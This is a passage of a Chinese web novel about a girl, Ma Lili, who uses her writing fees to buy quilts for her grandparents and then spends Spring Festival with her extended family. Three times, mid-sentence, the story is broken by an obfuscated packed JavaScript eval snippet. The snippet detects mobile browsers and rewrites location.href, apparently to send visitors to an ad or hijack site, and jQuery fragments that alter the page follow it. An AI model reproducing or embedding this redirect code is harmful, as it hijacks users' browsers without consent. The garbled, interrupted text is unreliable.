考完试啦，叽喳叽喳，大家还忙着对答案呢，马丽丽已经偷偷的一个人先回家了。 考完试就是放寒假啦。 一年级小学生们有生以来第一次领到了寒假作业，他们大都还没有意识到这玩意儿会给他们带来什么，他们还信誓旦旦的表示每天做一张语文一张数学，轻松搞定不在话下，老师们在一旁笑的很慈祥。 今年过年是在奶奶家过的，夏天在山东老家买的被子在马丽丽期中考试的时候终于寄到了。 突然被通知有包裹要去自提，马乔生还怪奇怪的，心道，上个月大哥写信也没说要寄啥来啊？ 奇怪归奇怪，包裹还是让五儿子去取。结果硕大一个包裹，马天林差点没拿回来，幸好他在邮局有熟人，借了根打包带绑在自行车后面，这才带了回来。 打开包，里面是一床捆的结结实实的新被子，布料倒普通，蓝灰布做底，摸上去挺软和，闻着也像是新棉花的味道。 “这谁寄的，不会是寄错了吧？”沈月翻看包裹皮上的地址，被子可是大件，几十块钱一床呢，谁家寄被子能寄错啊，“名字没错，马乔生，地址也没错。怎么是鲁省寄来的？我们也没认识的人啊？” “不会错，我在邮局看过单子，都对的上。嘿，我当时就还奇怪呢，我们家还有认识的鲁省的人给寄了床被子。”马天林道。 “我知道我知道，马丽丽夏天去了鲁省。”马洁在一旁跳起来说，“她那时说有个大礼物要给老dia奶奶，但还没到。” 几个大人面面相觑，早先儿媳妇/嫂子确实带马丽丽去了鲁省，是她买的吗？ “哎，先放着吧，等过年天华回来问问不就知道了？”沈月拍了拍被子，哎呦这个软和，她可着实喜欢，这个，应该是，儿媳妇送的吧？是吧？“要不天林你明天在单位打个电话问问天华？”沈月忍不住道。 “那也行。” 马天林第二天在单位给哥哥打了个电话。 “被子？我还真忘记说了，那是马丽丽买的，给她老dia奶奶和姥姥姥爷都各买了一床，对，嗨，还是托那边马丽丽她姨姥姥等鲁省今年的新棉花下来才做的，我们这边的也到了，让爸妈放心用吧，没寄错……啊不是我们给的钱，是马丽丽自己赚的……嗨，我一时说不清楚，等过年回来让马丽丽自己跟你们说。”马天华顺便说了一下自己过年回去的时间。 马天林回去一说，大家更好奇了，奶奶倒是直接晒了晒被子当天就用上了。 “这新棉花就是暖和，哎我把毛衣脱一件，热水袋挪过点去。”马乔生躺了一会儿竟然觉得有些热了，他坐起来把毛衣脱了一件又躺下，“天华说不是他俩口子给的钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149662|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，是马丽丽自己赚的，哎呀，孙女也出息了，这么小就能赚俩被子。” “哼，女孩子也得多学点东西，我猜啊，她要不就是遇到个什么单位要找做翻译的活计，哎，还真好让她凑上了。不然还有什么呢？总不可能她见义勇为救了什么人，这是人家的答谢？”沈月随口就猜了个八九不离十。 “啊？”马乔生给逗笑了，什么人答谢用被子啊？“算了，睡觉吧，等过年他们回来一问就知道了。” 过年时马天华带着妻子女儿一起回到县城老家，立刻得到了大家的热情迎接。 惯例的寒暄后，一个婶婶忍不住问起被子的事，不是她急，主要是这事吧，她真的好奇太久了。 “哦，这个啊。”徐明惠才开口，马丽丽就急急的打断她，“我来讲，妈我来讲。” “好你来你来。” 此时不显摆更待何时。 马丽丽清了清喉咙，整了整棉袄，开始了她的表演。之前的演出练习让马丽丽得到了充分的锻炼，一个事儿让她说得绘声绘色、眉飞色舞、妙语连珠、唾沫横飞……呃，是这么个意思，总之就差一块木头就能讲评书了。 马丽丽足足说了半个小时，大人们一开始坐着听还是想着逗小孩，结果大家都听住了，等马丽丽说完，马天林两夫妻还鼓起掌来，其他人也是纷纷说道。 “马丽丽好棒啊，哎呀，怎么这么厉害。” “哇，马丽丽，看不出来啊，还能跟外国人说话。” “哎，马丽丽，有空也教我们两句啊。” “好啦好啦。”奶奶挥挥手，“知道怎么回事就行，哎呀，还是我们丽丽孝顺。丽丽，奶奶要谢谢你，被子很好盖，暖和。” “哎嘿嘿嘿。”马丽丽不好意思的抱住奶奶，“没有啦。” “不过别说哈，丽丽这讲故事的本事不错，我看写下来都可以投稿了。” “啊哈哈。”马丽丽干笑两声，她奶可真够敏锐的。这么好的梗，她当然没有浪费，已经写成了两个小文改了几次投出去了。 话说没有电脑写文真的是一件非常痛苦的事，就算只写一篇才两千字的小文，却因为要修改、抄写到稿上、再修改、再抄写……导致至少得写五千至八千字才能变成铅字。 太费手，但是马丽丽还是坚持了下来，不但字写的越来越好，主要是也见着回头钱了。 之前写的文字有三篇变成了铅字，两篇是借用姥姥“孙梅”这个名字，一个登在本地报纸上，一个登在一本妇女杂志上，还有一篇是类似“走近科学”一样的文章，用笔名登在一本猎奇杂志上。 三篇文章赚了二十来块钱吧。 其实还有两篇小文也发表了，一篇是马丽丽用自己的本名写的小作文，登在小学生报纸上，还有一篇是用笔名写给八卦小杂志的，也发表了。 可是这俩没有给稿费，都只寄了样刊来，小学生报纸就算了，杂志也不给稿费就很让人气愤了。 所以马丽丽写了抗议信，还把另一篇文章给他们寄了开头第一张稿纸去，意思是能给钱就继续投稿，要白票这开头就当送你的，再见！ 自从知道有稿费后马丽丽可兴奋了，稿费都是走邮局汇款，毕竟有的地方没有银行，但一定有邮局，收款人马丽丽都是用姥姥的名字，取钱的时候也好用姥姥的身份证。 马丽丽每天都去办公楼前翻信件，终于收到了汇款单，她带上姥姥，姥姥带上身份证和汇款单，有生以来第一次去取汇款。 49.第四十九章 因为回老家过年，马丽丽特地把稿费都取出还换成了五毛和一块的零钱，准备充一回大款。 老家的大路边，土砖房的小卖部是一对老夫妻开的，除了卖日常用的针头线脑油盐酱醋，还有用大玻璃瓶装着的豆豆糖、瓜子、话梅，一小包一小包的酸梅粉、无花果和一大块土疙瘩一样的麦芽糖。 照称的瓜子话梅，一毛钱可以称一大包，老头熟练的用报纸折成一个卷筒一样的纸角包，把零食装进去，小朋友一只手都握不住。 马丽丽称了三毛钱瓜子，让老头分成好几包，家里小孩人手一包，再一人一包无花果放在口袋里，几个人欢快的在只剩空稻梗的田里奔跑，比赛谁吐的瓜子壳比较远，谁的无花果比较长。 突然马冬剑被泥块绊了脚，像只青蛙似的趴在了地上，手里的瓜子也如同天女散花似的撒了一地，他愣了两秒，“哇”的痛哭起来。 马洁站在一旁毫不客气的大声嘲笑他：“啊哈哈哈哈，谁叫你不小心，刚才都叫你把瓜子放口袋里，不听，现在好了吧。哈哈哈哈。” 跑在最后在马冬山悄悄把手里的瓜子塞进口袋。 身为老大的马玲玲跑回来，费力把穿得圆滚滚的堂弟薅起来，又给他拍了拍衣服上的土，挣扎了好一会儿，说：“我还有几分钱，我们再去买一包豆豆糖，再分你，好了，别哭了，脸都裂了。” “好，好吧。”马冬剑抽泣着同意了，马玲玲又嘱咐他把手拍干净。大家又一起回小卖部，马玲玲一脸肉疼的从口袋掏出大大小小几个硬币买了一包糖。 很快，大家一起分了分，又开心的向家走去，大黄也分了一颗，舔着嘴，摇晃着尾巴跑前跑后。 小孩子们的快乐就是如此的简单。 今天晚上就过年啦！ 年夜饭都是女人的活计，几个妯娌全挤在厨房里。 徐明惠厨艺不精又不擅长用烧火灶，总不能袖着手在旁边光看吧？所以她就自觉领了去杀鸡宰鸭洗洗刷刷的活计。 井水抽出来并不冷，甚至还挺暖手，再烧上开水，养了几个星期的鸡鸭鱼都遭了难。五花肉是前一天就炸好的，这可是大菜。 一年只用一次的大圆桌在上次出太阳的日子里被儿子们从楼上扛了下来，刷桌子是男人们的活，灶里的灰铲出来兑成灰水用来刷桌子，刷干净的大桌用砖垫着靠在墙边得晾几天才能干，必须在年饭前能用。 正日子一大早果盘就先上了桌，六格的盘子，甜的咸的长的圆的薄的厚的六种油炸果子围成一圈，最中间的必定是红色的团子，几种瓜子另外放盘。 等到十点左右，凉菜拼盘会先上桌，最大的圆盘子，板鸭香肠牛肉干腊猪肝咸蛋花生米六种凉菜，最中间的肯定是花生米。 小朋友们偷偷摸摸偷吃，大人们视而不见。 中午大菜陆续上台，炒鸡鸭杂、炖扣肉、红烧鸭、清蒸鱼、鸡汤、八宝饭、皮蛋、炒青菜，就算物质不算丰富，也一定得凑个吉利数。 菜式都做了两份，大人一桌小孩一桌。 “吃饭啦！快洗手。”几声招呼，大家纷纷打水洗手上桌。 老dia奶奶坐在主座，其他儿子儿媳妇们都按年龄挤挤的围坐在大桌旁，除了大儿子一家在章市没回来，其他人都到齐了。 小孩子那桌就不分年纪了，干饭要紧，谁还管坐哪？ “米酒来啦。”章省传统蒙汗水热呼呼的提了上来，“来来来，先一人一碗哈。”饭碗在装饭之前都先倒上了酒，不分男女，一人一碗。小孩子不能喝酒，不过甜甜的酒酿每人都得了一些。 大家长马乔生端起碗说：“今天过年，大家都要开心，儿媳妇们今天也辛苦了，我们一起喝一个，来。”大家都纷纷举碗，“干杯。”他先抿了一口，其他人也都跟着喝了一口酒。 放下碗，气氛热烈了起来，“吃菜吃菜。” 四儿媳胡玉这次是做菜的主力，她是个玲珑人，一边介绍菜“这鸭子放了点糖，不知道大家吃不吃的惯”，一边介绍妯娌们的功劳“三嫂带了八角桂皮来，我都用了，可吃的出来”等等。 一会儿五儿媳方华又给不知情的老三一家说起马丽丽赚钱给老dia奶奶买被子的事，“个女娃子真的蛮厉害，以前来每天早上都比我们还早起听广播读外语的，没想到都这么厉害了，那时候还这么小一个人。明惠，丽丽在家也这样吗？” “啊？是，是啊，她天天早上都要做功课，坚持好几年了。” 儿媳妇们都感叹，“真的是，同样姓马的，看看人家丽丽，哎，我们家的真的是，天天就知道玩。” 比起大人那桌，小孩那桌就单纯多了，饿狗扑食干饭要紧。那边酒刚放下，这边筷子打架，一边动手，一边动口。 “马冬剑，你不要老抢我的菜。” “谁抢你菜了，是你抢我的。” “鸡心鸡心，我要鸡心，谁看到给我。” “我要翅膀，姐，帮我夹一下。” “你都有个腿子了，吃完再说。” “别喷口水！” 大黄在桌下，又急又忙，围着团团转，还不时“汪”的提醒大家，给我一点，给我一点。 先吃了一轮菜，儿媳妇们又下场过来，强行给每个小朋友都装了一碗饭，马丽丽倒了点鱼汤在饭里，其他小朋友有样学样，都倒了自己喜欢的菜汤拌饭，唯有马冬剑独树一帜把蘸扣肉的酱油辣椒倒在饭里，一口下去，斯哈斯哈，引得马洁和马玲玲哈哈大笑。 马丽丽心情莫名的开心，大概是冬天的太阳晒在身上暖洋洋的，也可能是长大后再不敢“啊呜”一口把整块扣肉塞进嘴里过了，或者很久没有过吃菜像打架，还因为一点小事笑得把嘴里的饭都喷出来过了，反正马丽丽就觉得开心，过年了，真开心。 中午是正餐，一直吃到两点才结束，小孩这桌早早就散了，就连大黄都吃饱喝足懒懒的趴到门口晒太阳去了，大人这桌却是把整整一壶米酒喝完才算散了场。 站在院子里，前方是一大片放干了水的稻田，留在田里的稻梗十分低矮，但看不见的根系却紧紧的把住了泥土，等到开春犁地的时候，这些稻草梗子才会被深深的翻进地下去。 “马丽丽，你看啥呢？”马玲玲也走过来伸着脖子张望了一会儿，啥都没有啊？ “吃太饱，站一会儿。”马丽丽慢慢的拉伸了一下。 “嗐，我还以为什么呢。”马玲玲看向左边，“哎，有车，现在还有车呢？” 马丽丽掂着脚也看过去，一辆班车正远远的从县城的方向开过来，都除夕当天了还有班车也是稀奇，而且瞧着车上还坐满了呢，辛苦啊。 这时趴在门口的狗子突然一跃而起窜出门去，沿着小路就跑到大路边，等班车过来，它冲着车直汪汪。 小姐妹俩就站在原地这么看着大黄。 马丽丽：“它这是干嘛呢？” 马玲玲：“不知道……是因为车顶上那俩鸭子吗？” 马丽丽：“嗯……它没吃饱吗？” 两姐妹对看一眼。 “去厨房看看有什么能搞出来的。” “好嘞。” 姐妹俩偷偷跑到厨房去偷了一块扣肉出来，狗子回来发现自己意外有了加餐，美滋滋。 除了这辆班车，其他时候周围一个行人都没有，整片村子却并不安静，时不时就能听见附近传来爆竹的声音。难怪大家都喜欢多生孩子，村子里大家都住的不近，山前山后的还瞧不见，这家里要是人口少了一片寂静，那得多无聊啊。 “放爆竹放爆竹了。”马冬剑抓了几根爆竹跑出来，“快去拿”。 “你哪来的爆竹？”马玲玲揪住堂弟的袖子不让他跑走。 “亚叔给我的。” 去堂屋一看，果然，马天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153575|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明叼着没点的烟正在把一卷五百响的爆竹拆开，小朋友们都围着他呢。 “好了好了，不要折这么多，晚上还得放呢。”马天明拆了一把，又把爆竹卷回去。 马玲玲大叫：“爸，我也要！” “好好好，给你。” “我也要。” “我也要。” “亚叔我也要！” 马天明感觉自己好像被一群小鸡仔围住了，他站起来一手举爆竹一手举烟，“我们出去放，别挤别挤，看点着了哈，啪！” “走走走。” 马天明笑眯眯的被侄子侄女们簇拥着走到院子里。 “亚叔，点一个，点一个。” “好好好，来点一个。” “啪！” “扔那边扔那边。” “啪！” “爸，给我一个，给我点一个。” “那你可小心点，点着就扔知道不？” “啪！” “我也要一个。” “也让我扔一个。” “还有我还有我。” “啪！啪！” “哗……” 缸里的水飞起一尺高。 狗子汪汪起来，正在晒太阳的奶奶气得大骂：“你个口口，这是要炸缸啊？都给我离那边远点！” 大人小孩一起认错，唯唯诺诺，然后一起偷偷摸摸绕过奶奶跑到房子另一边空地去放爆竹。 奶奶不理会这些幼稚鬼，赶紧去检查水缸，发现缸没事，葫芦瓢却漏水了，把她给气的，逮着三儿子好一顿说，直说的马天明连连告饶，答应明天去赶年集的时候就买一个新的回来。 奶奶生气的时候没人敢上前，所有小朋友都躲在墙后相互吐舌头，直到奶奶气哼哼的回房间去了，大家都轻手轻手的跑出来，嘻嘻哈哈的去洗手。 冬天傍晚来的早，趁着天还亮着，儿媳妇们烧开了水，把孩子们都洗了个澡，大家头发湿湿围着一个大火盆，一边烤花生一边烤头发。每个人都挑了一个带壳的花生放在火盘边，然后大家盯着看，谁的花生会先“啪”的发出暴鸣声，谁的花生爆开还会跳起来翻个跟头。 中午吃了大餐，年夜饭反倒简单多了。 把中午的剩菜拢一拢，吃剩的扣肉和做多的扣肉又合成新的一碗，其他菜都有多做的，补上补上，鱼吃光了，再做一个新菜肉蛋卷，青菜吃完了，再炒一个豆腐。 主食变成了饺子，儿媳妇们分头合面做馅，然后放在堂屋的大桌上，大家一起包饺子。 饺子有两种馅，猪肉白菜和猪肉萝卜，但另有一碗牛肉萝卜馅的，是给老dia奶奶的。 十个一分钱的硬币洗干净用开水烫过，随机包进了饺子里，正好每种馅的包了五个。每个儿媳妇都包了一两个，所以完全不能从手法来判断硬币在谁包的饺子里。 晚饭大家都吃的心不在焉，直到饺子上桌，大家精神一振。每个人吃的都很小心，有的怕崩了牙，有的怕不小心把硬币给吃下肚去，总之都生怕漏了。 “哎呀。”马丽丽一口下去，还真差点崩了牙，她吐出硬币，还来不及擦就开心的举着叫道：“是我是我，我第一个吃到了！” “还真是，看来今年丽丽运气是最好的啦。” “就是就是，去年丽丽就很厉害，今年一样厉害。” 大人们纷纷给出鼓励。 “哎呦，我也吃着了。”马天明笑呵呵的吐出硬币。 其他小孩子们吃的更加着急了，只是虽然放了十个硬币，但架不住人多，即使老dia奶奶吃的是“必定没有硬币”的饺子，还是有一半的人抽不着这运气。大人们倒不觉得什么，马冬剑是唯一一个没有吃出硬币的小孩子，他沮丧得不行，吃完饭后一直哼哼唧唧哄不好，直到老dia拿了两个新的闪闪发亮的一分钱硬币给他，他这才重新开心起来。 50.第五十章 在看春晚前，就是隆重的发红包时间啦！ 不过这压岁钱也不是好拿的，每个小朋友都得付出一些努力表演一个节目才能拿到手。马天华最喜欢这个环节，他给每个小朋友都挑了几个毛病，虽然是自家表演，也要力求精益求精。 马天华自己觉着是为了大家好，过年嘛就图个乐呵，平时侄子侄女们都不太亲近他，这会儿不是正好趁机能让小朋友们知道他是替大家着想的。 却不知所有孩子们都围坐在一旁，不管有没有表演的都悄悄吐槽，“平时里就凶巴巴的，怎么过年毛病还这么多，看谁都不顺眼，可怕，太可怕了。” 老dia奶奶相互看了一眼，暗暗发笑，不过他们才不会提示自家傻儿子呢，反正俩老人就负责发钱。 “丽丽今年读小学啦，这是好事，要认真读书哦，以后考大学。” 跟其他人不一样，奶奶给马丽丽的压岁钱是特地换的新攒攒的五分钱硬币，二十个五分钱一筒，用红纸卷成两个红封，都折的漂漂亮亮的，中间还贴了一张小封纸，一个写着“吉”一个写着“祥”。 好老派，我喜欢！ 马丽丽喜滋滋的接过红封，张口就是吉祥话：“谢谢老dia，老dia新年大吉，万事如意，谢谢奶奶，奶奶新年大吉，事事顺心。” “好好好。”老dia奶奶都乐得合不上嘴。 下场后马丽丽被兄弟姐妹们“围攻”：“你说这么多字，明年大家都要讲的了啊，哼，你看看你。” 马丽丽：哦吼，不小心又成了“别人家的孩子”，不过过年嘛，吉祥话卷起来卷起来，嘿嘿。 对于马丽丽的“不讲武德”，大家也就是抱怨几句，嗨，说到底也是某位大人太鸡毛了。 开心又点有窝闷的拿完了压岁钱，大家坐在一起看春晚，今年小朋友们超爱的动画人物孙悟空和唐老鸭一起表演了一个节目，全国的小朋友们也终于知道，原来唐老鸭背后的男人叫李扬。 难得的熬夜，第二天妈妈没有叫马丽丽起床，但她还是习惯性的早早醒来。老爸老妈都还没醒呢，马丽丽悄悄爬起来，哆哆嗦嗦穿好衣服，蹑手蹑脚踩着嘎吱响的木板下楼去了。 堂屋还是一样的伸手不见五指，马丽丽熟练的打开了收音机。 “哈~咳咳，马丽丽？你这么早？没多睡一下子啊？”马洁妈妈一打着哈欠出来后，被马丽丽吓了一跳，又赶紧说，“哎我不打扰你，你听着吧。” 一会儿马天华两口子也下来了，大家伙陆续起床，堂屋也热闹起来。 今天大年初一，马天华、马天楚、马天林都准备带着家人一起去赶集。抓紧时间吃完早饭，马天华快步把家里的二八大杠推了一辆出来，把专用凳子绑好，检查了轮胎后，他招呼老婆女儿赶紧的，“我们先走了。” 马天华撑着车让马丽丽爬上绑在前杠上的凳子，自己左脚踩蹬子，右脚蹬两下，一撇腿上车，徐明惠小跑两步，跳上后座。 “丽丽，别抓中间哈，不然又夹手。”马天华提醒。 “我知道了！那都是小时候抓不了嘛，我现在都六岁了好吧。”马丽丽坐在凳子里感觉有点挤，可能是人大了，也可能是衣服穿多了。 “也别抓这么紧，影响我龙头了。” 徐明惠受不了的说：“你俩给我小心点，马天华你骑稳点，别把我摔了。” 县城里今年有特别节目，是一种地方性的舞龙舞狮形式，“九狮拜象”。 马天华带着老婆孩子去给老同学拜年，他家就住在临街的骑楼上。远处的锣鼓声突然就变得清晰可闻，马丽丽和对方家的两个男孩迅速奔向窗户。 “九狮拜象”其实不光有九只狮子和白象，还有龙、麒麟和彩灯，喧天的锣鼓中，沙喇子和唢呐吹得直入云霄，红红火火，夹带着不时噼里啪啦的爆竹，围观的人水泄不通，那叫一个热闹。还好他们都在二楼，要是在街道上，那根本挤不进去。 “过来啦，过来啦。”大一点的男孩叫起来，大人们也矜持的走到窗边。 最先过来的是牌灯，因为县城周边是客家人的聚集地，有很多同姓宗族，这牌灯上写的就是出钱出力的宗族的姓氏堂名。牌灯后就是锣鼓亭，上面有“八仙过海”之类的角色，旁边跟着的就是锣鼓、钹，这一段走过来，也是声音最响最热闹的。 前头走过去，跟着的就是一条舞动着的九节龙和龙珠，走到宽敞一点的地方，九节龙就开始定点表演，一会儿盘旋，一会儿堆塔，或是与后面的狮子、白象和麒麟互动。 九节龙后面跟着欢快的九只狮子，有大有小，狮子颜色面相都不相同，有的长得像狗，有的长得像牛，甚至不一定是九只，但一定是单数。 九只狮子撒欢的跑跑跳跳，头戴红花身披红布的白象却稳重的摇摆舞蹈，彩色的麒麟一会儿跟狮子一起闹腾，一会儿跟龙一起玩耍。 整个队伍很长，前面都快出街了，后面的还才刚刚走进街口，所有观看的人群也跟着队伍挪动。 马丽丽捂着耳朵目视着整个队伍拐过街角去了另一条街，脑子里突然冒出一个念头，“哎，咱们这里既没有狮子，也没有大象，这‘九狮拜象’是怎么出现的啊？” 两个男孩一起愣了，“我们这没有吗？”大男孩奇怪的问，“我不知道哎。” “哈哈。”马天华的老同学笑了起来，“这个问题很有意思，我恰好知道一点。你们知道什么叫客家人吗？” 两个男孩摇头，马丽丽点头。 老同学意外的看向马丽丽，“那你说说？” 马丽丽：“客家人意思就是我们祖籍不是这里的，是迁徙过来的，老家在别的地方。” “哎呦。”老同学转头对马天华和徐明惠说：“你们女儿还真是聪明，这都知道。”于是他接着说：“这个一开始呢，大概是明朝的时候，从粤省那边传过来的，一开始就是彩灯牌灯什么的。我们这很多大姓，什么姓刘啊姓冯啊，大家都不是本地人都是迁移过来的，谁也不认识谁，所以他们出钱举办这样的活动，也是为了展现一下自己。哎，我们这个姓以前出过宰相啊，我们这姓以前出过什么大官啊，哎，别人想做什么就得掂量掂量。” 这时老同学的妻子拿了杯子和酒壶过来，“嗐，你跟小孩子说这个，他们听得懂吗？来来来，喝一点。” 大人们的话题瞬间转移。 “我喝不了喝不了。” “哎呀没有度数的，甜的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158241|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “一点点一点点。” “好一点点一点点。” 马丽丽：这群大人！ 不过这边就是这样，米酒不当酒，就是个饮料，平时给客人倒杯茶，过年嘛，喝点热米酒，只是各个人家酿的不一样，有的比较淡有的比较凶。 一点点之后，马天华感觉还可以，只有一点点晕，告别了老同学，他和徐明惠决定去逛街，出了点汗之后，头不晕眼不花，正好骑车回家。 街上人可太多了，摆摊的人多，逛街的人更多。很多东西平时是见不着的，比如做爆米花的、做蛋卷的、画糖画的、卖彩灯的、卖印着图案的糕点的……还真只有过年时候才有。 马丽丽兴致勃勃，很多东西都很有年代感，木头的竹子的石头的，质感比塑料好多了，她手里头有钱不敢让老妈知道，正好缠着妈妈帮她买。 “你要这干嘛？不要不要。”徐明惠应付女儿自有一套。 马丽丽也不是吃素的，“我……”她还没说话，旁边摊子前一个跟她差不多大的男孩扭糖似的拉着他爸的手大叫：“我就要这个我就要这个，给我买一个。”他爸还想拖走他，失败了，只好嘟嘟囔囔的掏钱买了。 马丽丽一脸“学习了”转过头来，呼扇呼扇的大眼睛好像在犹豫“我要不要也来一套”。 徐明惠：…… 徐明惠：“你不是才收到压岁钱吗？这不正好花了。” 马丽丽震惊：“怎么能花我的压岁钱？压岁钱是能花的吗？我不。” 徐明惠又道：“那……我给你两块钱，你想买什么就买什么，不过花完了就没了哈，我不会再给你花钱买东西了。” 马丽丽才不上当，过年东西多贵啊，两块钱够什么？“不要，你给我买。” 徐明惠说不过，没办法，只好买了。 马丽丽舔着糖画跟着爸妈继续逛街，她发现爸妈逛街就真是纯逛街，只问价不掏钱那种。 直到走进百货商店，徐明惠拉着老公女儿直奔毛线柜台，百货商店过年也是不涨价的，反而趁着过年毛线颜色和品种都会进得多，买一点平时没有的回家自己打毛衣。 买东西的人太多，徐明惠价都来不及问，就赶紧挑毛线：“这个和这个，每个一斤半，这种颜色的一斤，那个，那种绿的，不是，左边的，给我一团线就行，这个红的半斤吧，还有这个黄色也半斤，这个颜色马海毛也给我拿一斤。” 原本只想给家里人一人打一件毛衣，可是这个桃红色真的很少见，那种嫩黄马丽丽穿肯定好看，还有马海毛，贵是贵，以前可是要去市里才有卖的，哎，还有好几种颜色呢。 买买买！ 买的时候多开心，付钱的时候就有多肉痛，徐明惠抽着气付完钱，看着两大袋毛线，又开心又心疼。 “哎呀，好像买多了一点，哎算了，多了就先放着也行。” 卷成麻花的毛线不能直接用，得回家后解开，放在开水里烫煮一下变直了，挂在外头晒干后就可以卷成线团用了。 这种时候老公和孩子都派上了用场，徐明惠只需要他们提供双手撑线圈就行，等所有的线圈都变成线团之后，毛衣针开始正式上场。 …… 51.第五十一章 …… 马丽丽等到开学都过了一个月了也没见着妈开始打毛衣，她忍不住在吃饭的时候问：“妈，什么时候给我打毛衣啊？” 徐明惠说：“都开春了还打什么毛衣？打好都快夏天了。” 马丽丽：“那你把线给我，我来打。” 徐明惠：“你打？你会打毛衣吗？” 马丽丽：“你可以教我一下子嘛。” 徐明惠没同意，但是过了几天，她看见马丽丽倒躺在单人沙发上看书，脚还放在沙发背上。 “马丽丽，别躺着看书，起来，小心近视了。” 马丽丽从善如流的坐起来，徐明惠发现她手上那本书竟然是一本打毛衣的杂志。 徐明惠：“？你看得懂吗？” 马丽丽：“可以呀。” 虽然马丽丽没打过毛衣，但她觉得如果只是上下针打一件毛衣应该没什么难，而且杂志里都有教。马丽丽还给徐明惠讲解来着，徐明惠觉得她就是纸上谈兵，不过可以让她试试。 “反正这就是给你打毛衣的线，你霍霍了倒是能拆，就是线会不好看了，你还想自己打吗？”徐明惠问。 “不怕。”马丽丽跃跃欲试。 徐明惠还真把线和针都给了马丽丽，针是那种钝钝的竹子做的，不扎人，徐明惠教马丽丽怎么开头，“你自己小心点，别被针扎到眼睛知道不。” “好咧。” 马丽丽开启了疯狂打毛衣的阶段，一开始她还没有掌握手感，毛衣松一条紧一条的，拆了两次后，她有了感觉，甚至还带去学校用所有的课外时间见缝插针的开始打毛衣，在被同学们围观又被老师约谈后，这才收敛了不少。 一个月后，马丽丽向徐明惠展示成品，“当当，打好啦，妈你看怎么样？” 徐明惠是看着马丽丽天天织织织的，只是马丽丽没有影响学习所以她就没有管，但真见到马丽丽拿出一件毛衣还是让她惊讶了。 拿着毛衣徐明惠前后翻看检查了一会儿，发现其实织的不错啊。 最下头有点紧，不过问题不大，三五行之后就织的很匀称了，袖子也没有一个长一个短的，就是没有收口，是直筒的。红色的毛衣前面还织了个图案，是一朵大黄花，领子口是圆领，马丽丽拆了一个假领子缝在里面，还挺好看。 “你这领子就这么缝在衣服上，那不是只有这件衣服能用？浪费。” “哎呀现在谁还用假领子啊，那都是以前买不起衣服用的，妈你自己现在还用这个不？” 徐明惠一想，也是哈，以前买不起新衣服才从旧衣服上拆假领子，现在哪还用这个？她把毛衣在马丽丽身上比了比，嗯，大一点点，这好，能多穿两年。 徐明惠把毛衣折了折，说：“既然你都会了，那以后你的毛衣可以自己打，也省得老说我打的不好看，改天也给我和你爸打一件呗？” 马丽丽连连摆手，“不要，我不想再打了，太无聊了，没时间。” 这毛衣跟后来流行的十字绣一样，都是消耗时间用的，马丽丽觉得还不如绣花有意思，而且她又要码字又要练习俄语，如果有可能还打算学点什么，哪有时间打毛衣啊。 徐明惠：“……”你个小屁孩说什么没时间太无聊，我就不无聊吗？不打拉倒。 马丽丽虽然觉得打毛衣太无聊又花时间，但是她擅长用毛线和钩针做小玩意儿，家里剩的黑色的白色的灰色的米色的棕色的小线团特别多，扔了可惜，想打个什么又不够……这不就派上用场吗？ 马丽丽又开始了新的手工活，她先钩了一个跟毛衣上大黄花一样的小黄花，准备和毛衣搭配，顺便熟悉了一下手感，然后做了一个棕色的小狗头和一只灰色的猫猫头，又做了一只熊猫和一只小鹿，彩色的小鱼，黄色的小蜜蜂，最后又做了一个穿着红裙子的巴掌大小的玩偶和另一个一模一样但有手臂长的玩偶，把家里所有的棉花都用完了，这才收手。 已经是大人的徐明惠对可爱的东西没有抵抗能力，她强行“指鹿为马”，非说那只米色的小鹿是她的属相，要走了挂在钥匙扣上去上班，在学校被女老师们问了个遍，好好显摆了一番，心里美滋滋的。 很快用钩针编织小玩意的风潮就从学校刮遍了整个电厂，经常可以看到手里拿着钩针和毛线的女职工在研究。虽然编织高手不少，但大家的审美还偏“形似”，能像马丽丽做出“可爱”成品的，屈指可数。 而引发这一潮流的马丽丽，此时却正抓耳挠腮的学习新外语呢。 事情还得回到前两周前。 有一天徐明惠做了皮肉冻，马丽丽和孙振华都喜欢吃这个，她便让马丽丽给孙爷爷也送一碗过去。 刚看完《机器猫》的马丽丽端着碗一路唱着“こんな事いいな出来たらいいな，あんな夢 こんな夢 いっぱい有るけど ”从这边单元楼走到隔壁单元楼。 想当年，做为漫迷的马丽丽还曾立志要学会日文去日本看原装漫画呢，当然这个愿望最后没有实现，但喜欢的日文歌和台词却唱/说的贼溜，这发音可是她一个字一个字扣出来的。 马丽丽卡点走到门口，敲了敲门，道：“孙爷爷在家吗？” 几秒钟后，门开了，马丽丽一举碗：“こんにちは，我妈让我来送肉冻……呃，你是谁啊？” 